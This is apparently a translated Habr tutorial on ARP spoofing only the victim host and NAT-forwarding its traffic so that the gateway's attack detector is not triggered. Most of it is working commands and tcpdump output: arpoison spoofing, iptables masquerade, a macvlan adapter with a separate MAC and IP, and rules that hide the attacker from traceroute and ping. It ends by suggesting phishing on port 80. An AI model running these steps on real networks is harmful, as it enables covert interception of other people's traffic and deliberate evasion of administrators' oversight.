Another way to intercept traffic through ARP Spoofing

There were already a lot of articles on the topic of classic ARP spoofing on Habré, but all of them were similar in that in order to fully intercept traffic, it was necessary to replace ARP records for two machines. Typically, this is the victim and its default gateway. However, the idea of ​​spoofing a gateway is not always good. It may well have an attack detector on board, which will double-report to the administrator that the network is being broken and the freebie will end before it starts. This article will discuss a method of intercepting traffic in which an attack is made only on the host victim. As usual in such cases, the article is purely for review, use to the detriment is punishable by law, etc.
There are a lot of letters under the cut.



I will make a reservation right away that Linux will be used for attacks. For network security professionals, please do not kick.

A little bit about ARP

When writing an article, I will assume that the reader at least knows approximately who ARP is, why and how it works. You can read here. In short, ARP is used to understand which physical MAC address the packet should be sent to if the destination IP is known. Accordingly, replacing the real MAC address of a certain node with your victim’s ARP table, we will ensure that the victim sends packets to such a node to us. We can either directly forward such packages to the real recipient, or change them on the go before sending. There is one problem. If we simply forward the packets further, we will see only half the traffic, since the recipient will send the response directly to the victim. Typically, to solve this problem, the recipient is the second victim and is subjected to a symmetrical attack. But on the other hand, you usually want to intercept the victim’s Internet traffic, which means that the recipient will be a network gateway. And if this gateway is not a simple home router, but something more serious,

Simple attack option

So, even if we want to intercept the victim’s traffic, we can only send “deliberately singed” packets to the victim’s car. The solution is to raise NAT on your machine and send traffic to the gateway from your interface instead of direct forwarding. In this case, we work for the victim as another NAT gateway.

Network configuration

Let there be 192.168.0.0/24 on the network with the 192.168.0.1 gateway . For convenience, let the MAC addresses of the adapters be of the form 00-00-00-00-00-XX , where XX is the last digit of the IP address, that is, the MAC of the gateway will be 00-00-00-00-00-01 .

There are cars on the network:

192.168.0.1 / 00-00-00-00-00-01 - gateway
192.168.0.3 / 00-00-00-00-00-03 - victim

eth0 - 192.168.0.5 / 00-00-00 -00-00-05 - our car, with which we will attack. A single eth0 network interface is connected to the network

Utilities

For ARP spoofing, we will use the arpoison utility . It, unlike arpspoof from the dsniff package , does not require the correct IP configuration of the interface from which spoofing occurs (we will need this a bit later).

Go

So, for starters, let's enable packet routing:

# sysctl net.ipv4.ip_forward = 1
# iptables -A FORWARD -j ACCEPT

Now run ARP spoofing:

# arpoison -i eth0 -d 192.168.0.3 -s 192.168.0.1 -t 00: 00: 00: 00: 00: 03 -r 00: 00: 00: 00: 00: 05
ARP reply 1 sent via eth0
ARP reply 2 sent via eth0
ARP reply 3 sent via eth0

everything, the victim’s machine is now confident that 192.168.0.1 is our eth0. You can check and make sure (perform on the victim):

# arp
Address HWtype HWaddress Flags Mask Iface
192.168.0.1 ether 00: 00: 00: 00: 00: 05 C eth0

we raise NAT on our machine (for simplicity, everything that is forwarded and sent not to localhost will be masquerade):

# iptables -t nat -A POSTROUTING! -d 127.0.0.1/8 -j MASQUERADE

done. We check by pinging the gateway from the victim, on our machine we see something like this:

# tcpdump -i eth0 -ne icmp
14: 26: 25.356528 00: 00: 00: 00: 00: 03> 00: 00: 00: 00: 00: 05, ethertype IPv4 (0x0800), length 98: 192.168.0.3> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
14: 26: 25.356578 00: 00: 00: 00: 00: 05> 00: 00: 00: 00: 00: 01, ethertype IPv4 (0x0800), length 98: 192.168.0.5> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
14: 26: 25.356796 00: 00: 00: 00: 00: 01> 00: 00: 00: 00: 00: 05, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.5: ICMP echo reply, id 35670, seq 320, length 64
14: 26: 25.356835 00: 00: 00: 00: 00: 05> 00: 00: 00: 00: 00: 03, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64

it is clear that ping came to us, from us from our IP went to the gateway, and the returning response went to the sender. In a word, normal NAT.

We complicate the task

We intercepted the traffic, but at the same time managed to light up our IP and MAC, which will allow us to take us as a soft spot when we first open the wireshark on the victim or when viewing the logs on the gateway. Let's try to repeat the focus, but at the same time to inherit less. To do this, raise the virtual adapter with a different MAC and IP.

We create an adapter, it will receive a random MAC, let it be 00-00-00-00-00-06:

# ip link add link eth0 dev virt0 type macvlan
# ifconfig virt0 up
# ifconfig virt0
virt0: flags = 4098  mtu 1500
        ether 00: 00: 00: 00: 00: 06 txqueuelen 0 (Ethernet)
        RX packets 0 bytes 0 (0.0 B)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 0 bytes 0 (0.0 B)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

write the IP address or take it via DHCP. In the second case, after receiving the address, do not forget to throw all the routes through virt0:

# dhcpcd virt0
dhcpcd [28920]: version 6.3.2 starting
dhcpcd [28920]: DUID 00: 01: 00: 01: 19: 9d: 11: 86: 00: 00: 00: 00: 00: 05
dhcpcd [28920]: virt0: IAID 00: e8: 8a: 01
dhcpcd [28920]: virt0: soliciting an IPv6 router
dhcpcd [28920]: virt0: soliciting a DHCP lease
dhcpcd [28920]: virt0: offered 192.168.0.6 from 192.168.0.1
dhcpcd [28920]: virt0: leased 192.168.0.6 for 3600 seconds
dhcpcd [28920]: virt0: adding route to 192.168.0.0/24
dhcpcd [28920]: virt9: adding default route via 192.168.0.1
dhcpcd [28920]: forked to background, child pid 29059
# dhcpcd -x virt0
dhcpcd [29192]: sending signal TERM to pid 29059
dhcpcd [29192]: waiting for pid 29059 to exit
# ifconfig virt0 down
# ifconfig virt0 up

after such manipulations, we should have a virt0 adapter with MAC 00-00-00-00-00-06 and IP 192.168.0.6 and without a single route through it.

The next step is to add a routing rule in which all packets coming from virt0 will be forwarded through it:

# ip route add 192.168.0.0/24 dev virt0 table 100
# ip rule add iif virt0 lookup 100
# ip route show table 100
192.168.0.0/24 dev virt0 scope link 
# ip rule
0: from all lookup local 
32765: from all iif virt0 lookup 100 
32766: from all lookup main 
32767: from all lookup default 

Now you can run spoofing and see what happened:

# arpoison -i virt0 -d 192.168.0.3 -s 192.168.0.1 -t 00: 00: 00: 00: 00: 03 -r 00: 00: 00: 00: 00: 06

# tcpdump -i eth0 -ne icmp
14: 26: 25.356528 00: 00: 00: 00: 00: 03> 00: 00: 00: 00: 00: 06, ethertype IPv4 (0x0800), length 98: 192.168.0.3> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
14: 26: 25.356578 00: 00: 00: 00: 00: 06> 00: 00: 00: 00: 00: 01, ethertype IPv4 (0x0800), length 98: 192.168.0.6> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
14: 26: 25.356796 00: 00: 00: 00: 00: 01> 00: 00: 00: 00: 00: 05, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.6: ICMP echo reply, id 35670, seq 320, length 64
14: 26: 25.356835 00: 00: 00: 00: 00: 05> 00: 00: 00: 00: 00: 03, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64

at first glance, everything is beautiful, but we lit up our real MAC. This happened because, on the ARP request, which MAC of 192.168.0.6 our machine happily answered the gateway with the real address of the network card. To prevent this, do the following:

# sysctl net.ipv4.conf.all.arp_ignore = 1

Now only a real adapter will respond to ARP requests. It remains to solve the problem of delivering the MAC address of the virtual adapter to the gateway. You can do this, for example, using the same arpoison, specifying real addresses and a larger interval. In this case, such ARP responses should not cause suspicion:

# arpoison -i virt0 -d 192.168.0.1 -s 192.168.0.6 -t 00: 00: 00: 00: 00: 01 -r 00: 00: 00: 00: 00: 06 -w 5

everything, now the gateway knows where to send the answer and the picture becomes beautiful:

# tcpdump -i eth0 -ne icmp
14: 26: 25.356528 00: 00: 00: 00: 00: 03> 00: 00: 00: 00: 00: 06, ethertype IPv4 (0x0800), length 98: 192.168.0.3> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
14: 26: 25.356578 00: 00: 00: 00: 00: 06> 00: 00: 00: 00: 00: 01, ethertype IPv4 (0x0800), length 98: 192.168.0.6> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
14: 26: 25.356796 00: 00: 00: 00: 00: 01> 00: 00: 00: 00: 00: 06, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.6: ICMP echo reply, id 35670, seq 320, length 64
14: 26: 25.356835 00: 00: 00: 00: 00: 06> 00: 00: 00: 00: 00: 03, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64

Remained a little. First, prohibit the system from accepting incoming (non-forwarded) packets on a virtual interface, so that someone curious does not compare the list of services on 192.168.0.6 and 192.168.0.5

# iptables -A INPUT -i virt0 -j DROP

Secondly (thanks AEP ) turn off ICMP time exceeded in-transit so that our real address does not appear in traceroute

# iptables -A OUTPUT -p icmp --icmp-type 11 -j DROP

Thirdly (thanks kay ) add an increase in TTL so that routing through us is not visible on pings and traceroute

# iptables -t mangle -A PREROUTING -i virt0 -j TTL --ttl-inc 1

Instead of a conclusion

As a result, we managed to intercept traffic, attacking only the victim’s machine, without revealing our real IP and MAC. In this case, intercepted packets are routed by standard means. You can also configure more fun routing rules, open port 80 on virt0 and practice phishing, but that's another story.

UPD: it would be interesting to read in the comments how such a scheme can still be ignited without having l3 routing in the network.